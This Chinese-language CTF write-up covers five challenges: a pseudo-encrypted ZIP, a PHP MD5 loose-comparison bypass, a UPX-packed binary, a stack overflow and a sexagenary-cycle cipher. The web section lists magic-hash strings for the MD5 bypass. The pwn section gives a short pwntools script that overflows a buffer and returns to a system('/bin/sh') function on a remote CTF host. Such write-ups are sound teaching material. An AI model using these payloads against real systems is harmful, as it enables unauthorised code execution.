misc
buu-[GXYCTF2019]佛系青年
得到一个压缩包,需要密码才能解密010查看一下是真加密还是伪加密。看到是伪加密,将90改为00,得到文件
解压后是一个压缩包和一个文本文件,打开文本文件,看到最下方有一段密文
,是佛经,解密得到flag
web
bugku-MD5
下载附件,看到的是一段代码这里可以看到是需要a不等于md51,但是二者的md5加密的结果相同(注意这个比较是弱比较),那么我们看看md51进行md5加密后的结果,
这个是md5加密的结果的比较要相同
md5弱类型绕过
0e绕过
0e绕过的原理
科学记数法是一种记数的方法。
计算器表达10的幂一般是用E或e
如:2 760 000 = 2.76×10^6 = 2.76e6
所以0e,无论后面跟什么值,都是0
以下是常见的字符串md5值为0e开头
原值 加密后的密文
QNKCDZO 0E830400451993494058024219903391
240610708 0E462097431906509019562988736854
s878926199a 0E545993274517709034328855841020
s155964671a 0E342768416822451524974117254469
s214587387a 0E848240448830537924465865611904
关于弱比较可以参考此文:1.10学习记录(弱比较)-CSDN博客
所以我们进行get传参
http://117.72.52.127.19237/?a=s878926199a
re
buu-新年快乐
得到附件,首先查壳,32位,upx壳
进行脱壳
得到文件后用ida32打开,找到main函数
strcpy函数:把含有'\0'结束符的字符串复制到另一个地址空间,返回值的类型为char*
memset函数:可以将指定内存区域设置为特定值,常用于对新分配的内存进行初始化[这里将str1初始化为32个0组成的字符串]
str2=“HappyNewYear!”
比较str2与str1的前strlen(str2)的字符,如果相同就输出“this is true flag!”
所以就是HappyNewYear!
所以提交flag{HappyNewYear!}
pwn
nss-[SWPUCTF 2021 新生赛]gift_pwn
得到附件首先checksec,没有保护机制64位
ida64打开查看,查看main函数
调用了vuln函数
使用read函数,看到溢出点为buf[16],但是read函数可以输入0x64,这里就是溢出
偏移量为0x10+0x8
然后看到gift函数可以看到这里直接调用了system函数,有bin/sh权限文件存在,双击看看,这里是我们需要将溢出返回的地址
from pwn import*
r=remote('node4.anna.nssctf.cn',28266)
r.sendline(b'a'*(0x10+0x8)+p64(0x4005B6))
r.interactive()
crypto
buu-[MRCTF2020]天干地支+甲子
下载附件得到的是一串文字,是天干地支记年法,根据题目的+甲子,应该是甲子(干支之一)
这里直接随波逐流解码就行